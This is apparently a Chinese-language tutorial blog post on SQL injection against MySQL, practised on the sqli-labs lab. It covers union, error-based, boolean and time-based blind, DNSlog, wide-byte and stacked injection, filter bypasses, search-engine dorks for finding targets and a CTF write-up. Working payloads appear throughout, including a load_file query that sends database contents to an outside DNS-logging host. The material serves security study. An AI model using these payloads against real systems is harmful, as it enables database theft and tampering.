WEB系列(一)---------SQL

SQL注入的原理及基础

环境

sqli-labs
Wamp(Wamp运行起来任务栏的图标一定要是绿的)

问题

在Wamp安装sqli-labs时由于php版本太高会导致报错,我直接打开phpmyadmin导入 .sql 文件,好像也能用。

原理

SQL注入是一种将 恶意的SQL代码插入或添加到应用(用户)的输入参数中,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的 构造SQL语句,对数据库系统的内容进行直接 检索或修改
说白了就是你通过各种方法向数据库服务器提交一段查询代码,使之能够返回一些数据库的信息。

  1. 用户输入可控
  2. 必须要拼接到SQL语句中执行
    根据注入位置数据类型分类:
    字符型注入
    数值型注入

验证是否存在SQL漏洞

  1. 单引号 ’
  2. and 1=1
  3. and 1=2,如果出现报错证明存在漏洞

MySQL注入方法常用函数及逻辑运算

  1. system_user(),user(),current_user(),version(),database();
  2. session_user():可以列出连接了该数据库的其他用户;
  3. @@version,@@datadir,@@basedir,@@version_compile_os 以上三条select xxx;
  4. count(): select count(*) from users;
  5. concat(),concat_ws(“间隔符”,字段1,字段2…),group_concat();
  6. into outfile : select “写的内容” into outfile “文件路径”;
  7. load_file(): select load_file (“文件路径”);
  8. ascii():select ascii(“字符串”);
  9. char(“ascii码”)与ascii()作用相反;
  10. ord():返回字符串的第一个字符的ascii值;
  11. substr(),mid(): mid(“字符串”,起始位置.结束位置),从 1开始算;
  12. length():字符串的长度;
  13. left():返回字符串最左边的几个字符,从1开始算,left(“字符串”,位置);
  14. floor():返回小于等于x的最大整数
  15. rand():返回0,1之间的随机数;
  16. extractvalue():extractvalue(“file_name”,“X_path”),从filname中找到符合xpath的字符串;
  17. updatexml():updatexml(“file_name”,“X_path”,“替换的字符串”),从filname中找到符合xpath的字符串被替换的字符串替换掉;
  18. if(“不等式”,值1,值2):如果不等式成立返回值1,否则返回值2;
  19. strcmp(值1,值2):若两个值相等返回 0,前者大返回1,后者大 -1;
  20. ifnull(参数1,参数2):若参数1不为null,就返回参数1,否则就返回参数2;
  21. exp():返回e的x次方;
  22. 算数运算符 :+ 、- 、*、 /(div) 、 % (mod);
  23. 比较运算符 :<,>,>=,<=,!=(<>),is null (为空),is not null(不为空),between and ,in, not in,like,not like,regexp(正则表达式);
  24. 逻辑运算符:&&(and),||(or);
  25. table_name,table_schema,information_schema.tables
  26. Mysql5.0以上的版本中,默认定义了information_schema的数据库,用来存储数据单元,其中具有 schemata,tables,columns三张表,如下图.
    WEB系列(一)---------SQL_第1张图片
  27. limit m,n:表示从第m条开始搜索,搜索n条,(从0开始)

MySql注入语句样例分析

  1. ’ and 1=2 union select 1,2,3 --+ ,order by 1–+:引号闭合前面,and报错,显示union之后的查询语句,可以用来查询有多少列;
  2. select user() regexp “^ro”
  3. ascii( substr ( (select user()), 1,1 ) ) = 114:select user() 查询出用户名,substr从第一个开始,长度为第一个,转成ascii值,判断与114是否相等。盲注还是可以的
  4. if(ascii( substr ( (select user()), 1,1 ) ) = 114,0,sleep(5)):在3的基础上,如果等于114,立即返回,如果不是睡5秒;时间盲注也是可以的
  5. ascii(substr( (select table_name from information_schema.tables where table_schema=database()), 1,1) )=9
  6. updatexml(1,concat(0x7e,(select @@version),0x7e),1):参数2的位置上不是合法的格式,会报错,从而会显示相关信息。上个图WEB系列(一)---------SQL_第2张图片
  7. select 列名称(*) from 表名称 where 字段1=“条件1” and …
  8. insert into 表名(列1,列2…) values (值1,值2…)
  9. update 表名称 set 列名称=新值 where 列名称=某值
  10. 注释符:#,–空格(%20)或/**/
  11. 内联注释: /*! sql语句*/

SQL注入流程

  1. 目标搜集: inurl:.php?id=site:target.com
  2. 注入识别: 简单手工注入识别:,and1=1/and1=2;and’1’=2’/and’1’='1;
    and1like1/and1like2;工具识别 sqlmap -m filename ;sqlmap --crawl;sqlmap -r filename;sqlmap --level;BurpSuite+sqlmap;代码审计:关键函数和代码(可以倒着找,从select出发,也可以正着找,从与用户交互出发;),梳理业务流程;
  3. 注入流程:WEB系列(一)---------SQL_第3张图片

手工注入

MySQL(>=5.7)内置库
mysql:保存有账户信息,时区等信息;
sys:帮助我们快速了解系统的元数据;
performance_schema:用于收集服务器性能参数;
information_schema:保存着MySQL服务器所维护的其他所有数据库的信息;

重点

  1. 查库: select schema_name from information_schema.schemata
  2. 查表: select table_name from information_schema.tables where table_schema=‘库名’;
  3. 查列: select column_name from information_schema.columns where table_name=‘表名’('表名’也可以直接转换成16进制);
  4. 查数据: select 列名 from库名.表名
    如果数据太多,可以利用 concat或者limit来查询。

UNION联合注入查询

注意

  1. 要有回显
  2. 只有最后一个子句有limit或order by
  3. 要与

union流程

  1. 使用order by 查询列数
  2. 使用 union 确定回显位置
  3. 查询库,表,列,数据。

报错注入

原理

构造payload让信息通过错误提示回显出来

应用场景

查询不回显内容,会打印错误信息,
Update,insert等语句会打印错误信息

报错注入方法

  1. floor():select count(*) from information_schemation.tables group by concat ((select version()),0x7e,floor(rand(0)*2));原理总结起来就是:floor(rand(0)*2)会产生0110110111…的固定序列,mysql遇见group by会建立一个空的虚表第一次产生的0不在虚表里,当插入新值的时候floor又重新算一遍插入1,随后遇到1的时候直接加一,但之后遇见第二个0的时候,不存在0继续插入1,但mysql要求插入新的值时要求主键唯一,1已经存在了,报错,达到我们想要的效果;
  2. extractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e));前面讲过了; concat 构造非法的Xpath语句;
  3. updatexml():updatexml(1,concat(0x7e,(select user()),0x7e),1);和2类似;
  4. 若返回的字符串过长可以加substr:updatexml(1,concat(0x7e,(select substr(concat(username,0x3a,password ),1,2) from users limit 0,1),0x7e),1) --+
  5. 可以使用burp批量注入得到结果
    WEB系列(一)---------SQL_第4张图片

布尔盲注

bool盲注的原理

通过构造 payload ,判断数据库信息的正确性,在通过页面的“真”和"假"来判断我们的判断是否正。

布尔盲注的方法

  1. left:left(databaase(),1)>‘s’,database()显示数据库,left(a,b)从左侧截取a的前b位
  2. regexp:select user() regexp ‘^r’
  3. like:select user() like ‘ro%’
  4. substr(),ascii():ascii(substr((select database()),1,1))=98,substr(a,b,c)从b的位置开始截取字符串a的c长度;
  5. ord(),mid():ord(mid((select user()),1,1))=114;
  6. 可以用bp批量注入,也可以利用脚本。

时间盲注

时间盲注的原理

通过构造payload,通过页面的响应时长,来判断信息。

时间盲注的方法

if(left(user(),1)=“a”,0,sleep(3));
if(ascii(substr(database(),1,1))>115,0,sleep(3));

  1. 建议写脚本;

DnsLog盲注

应用场景

代码存在SQL注入漏洞,但页面不回显数据,不回显错误。 需要自己搭建或找一个dnslog平台。
MySql LOAD_FILE 函数可发起请求:
==select load_file(concat(’\\’,‘test’,.mysql.yc1yla\abc’));==请求变成test.mysql.yc1yla

DnsLog盲注原理

构造语句,利用load_file函数发起请求,使用Dns_log接收请求,获取数据。

DnsLog盲注的方法

select load_file(concat(’\\’,(select database()),‘mysql.yc1yla\abc’));
通过SQL语句查询内容,作为请求的一部分,发送至Dnslog,就能实现有回显的SQL注入;值得注意的是

  1. sql语句中不能出现特殊符号如,:,~,@等
  2. 只能在windows系统下进行,目标服务为windows系统
  3. 本地的环境不能显示。。。。
  4. 大佬的脚本代码 https://github.com/ADOOO/DnslogSqlinj

宽字节注入

宽字节注入原理

宽字节实际上就是两个字节,MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(前一个Ascii码大于128才能到汉字)
WEB系列(一)---------SQL_第5张图片

宽字节注入方法

在注入点后键入%df,然后按照正常的注入流程开始注入。

  1. 黑盒测试 在可能的注入点后键入%df,之后进行注入测试。
  2. 白盒测试
    1. 查看MySql编码是否为GBK;
    2. 是否使用preg_replace把单引号替换成’;
    3. 是否使用addslashes进行转义;
    4. 是否使用mysql_real_escape _string进行转换;

二次编码注入

原理

==urldecode()==与PHP本身处理编码时,两者配合失误,可构造数据消灭
WEB系列(一)---------SQL_第6张图片

MySQL读写文件

读写前提:

  1. 用户权限足够高
  2. secure_file_priv 不为NULL
    WEB系列(一)---------SQL_第7张图片
  3. general_log(读)的值为 on
    WEB系列(一)---------SQL_第8张图片

SQL注入绕过技术

  1. 大小写绕过:通过修改关键字内字母大小写绕过过滤措施,ORder
  2. 双写绕过:un(union)ion
  3. 编码绕过:对url编码
  4. 在Mysql中使用内联注释:/*!select*/ * form user

堆叠注入

来自强网杯的一道题目。该题目把常规的字符select、update、delete、drop、insert、where都过滤掉且忽略大小写。
这时候就用到堆叠注入了。所谓的堆叠注入就是在一句sql语句之后用分号隔开,再写另外一个sql语句,在后端这两句语句是会被一起执行的。

开始这个题

常规注入
WEB系列(一)---------SQL_第9张图片
输入引号报错,接着 order by 判断字段数目为 2,输入 union select 回显
WEB系列(一)---------SQL_第10张图片
过滤常规注入字符串,开始堆叠注入
WEB系列(一)---------SQL_第11张图片
数据库太多,查表
WEB系列(一)---------SQL_第12张图片
查 1919810931114514字段
WEB系列(一)---------SQL_第13张图片
ok,flag 在此。但是有一个细节就是之前 order by 2证明有查询语句中会有两个字段。类似语句可能是 select id, data from words where id =所以需要将191981093114514表改成 worlds,原来的worlds改成world1。将新改的words重新添加一列

;rename table `words` to `word1`;rename table 1`919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alter table `words `change `flag` `data` varchar(100);#

之后再次输入1得到flag。

你可能感兴趣的:(WEB系列(一)---------SQL)